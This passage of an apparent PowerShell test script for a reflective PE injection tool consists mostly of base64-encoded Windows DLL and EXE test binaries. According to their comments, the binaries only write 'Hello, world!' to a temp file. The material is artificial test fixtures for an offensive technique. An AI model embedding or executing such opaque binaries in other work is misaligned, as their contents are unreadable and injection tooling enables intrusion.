AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASGVsbG8sIHdvcmxkIQAAAAAgABAAAAAAAAAAAAAAAAAAAAAAwQI9VgAAAABSIAAAAQAAAAEAAAABAAAASCAAAEwgAABQIAAAEBAAAHQgAAAAAFJlZmxlY3RpdmVQRUluamVjdFRlc3RIYXJuZXNzLmRsbABTdHJpbmdGdW5jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + + # A bare bones test harness DLL that simply writes "Hello, world!" to %TEMP%\testoutput.txt upon having VoidFunc called + $Encoded64BitVoidDll = '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' + $Encoded32BitVoidDll = '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' + + # A bare bones test harness EXE that simply writes "Hello, world! (EXE ARGS)" to %TEMP%\testoutput.txt + $Encoded64BitExe = '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AAAAAEwmAAAAAAAAPCYAAAAAAACsJgAAAAAAAAAAAAAAAAAANiUAAAAAAABAJQAAAAAAAFYlAAAAAAAAaiUAAAAAAAB4JQAAAAAAAC4lAAAAAAAAnCUAAAAAAACoJQAAAAAAALIlAAAAAAAAviUAAAAAAADSJQAAAAAAAAQmAAAAAAAADCYAAAAAAAAWJgAAAAAAACQmAAAAAAAAMiYAAAAAAAAmJQAAAAAAABQlAAAAAAAABCUAAAAAAAD2JAAAAAAAAOgkAAAAAAAAhCUAAAAAAAAAAAAAAAAAAIgAQ3JlYXRlRmlsZUEAIgFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBADQFV3JpdGVGaWxlAEwCR2V0UHJvY0FkZHJlc3MAABsCR2V0TW9kdWxlSGFuZGxlQQAAUgBDbG9zZUhhbmRsZQBLRVJORUwzMi5kbGwAAFgBX1hjcHRGaWx0ZXIA8gFfYW1zZ19leGl0AACnAV9fZ2V0bWFpbmFyZ3MAzgFfX3NldF9hcHBfdHlwZQAAGAZleGl0AABYAl9leGl0AAoCX2NleGl0AAAaAl9jb25maWd0aHJlYWRsb2NhbGUA0AFfX3NldHVzZXJtYXRoZXJyAADiAl9pbml0dGVybV9lAOECX2luaXR0ZXJtAFwBX19DX3NwZWNpZmljX2hhbmRsZXIAAKgBX19pbml0ZW52AHgCX2Ztb2RlAAAZAl9jb21tb2RlAAAzAT90ZXJtaW5hdGVAQFlBWFhaAJkBX19jcnRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAE1TVkNSMTIwLmRsbAAAWwNfbG9jawDHBF91bmxvY2sACQJfY2FsbG9jX2NydACfAV9fZGxsb25leGl0AAIEX2